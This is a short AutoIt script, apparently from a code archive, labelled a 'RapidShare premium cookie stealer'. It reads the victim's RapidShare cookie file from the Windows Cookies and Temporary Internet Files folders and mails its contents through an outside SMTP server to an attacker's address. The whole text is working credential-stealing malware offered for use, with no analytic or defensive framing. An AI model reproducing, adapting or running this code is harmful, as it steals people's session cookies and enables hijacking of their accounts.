./c0de/c/cstealer.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
#include <Inet.au3>
 
;RAPIDSHARE.COM PREMIUM COOKIE STEALER
 
_StealPremiumCookie("mail.chello.nl", "[email protected]")
 
Func _StealPremiumCookie($smtp, $email)
 
$PATH = @UserProfileDir&"\Cookies"
$PATH1 = @UserProfileDir&"\Local Settings\Temporary Internet Files"
$COOKIENAME = @UserName&"@rapidshare[1].txt"
 
$1 = FileReadLine($PATH&"\"&$COOKIENAME, 2)
$2 = FileReadLine($PATH1&"\"&$COOKIENAME, 2)
 
$s_SmtpServer = $smtp
$s_FromName = "broodplank"
$s_FromAddress = "[email protected]"
$s_ToAddress = $email
$s_Subject = "Premium RS Cookie!"
Dim $as_Body[2]
$as_Body[0] = $1
$as_Body[1] = $2
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
EndFunc

Back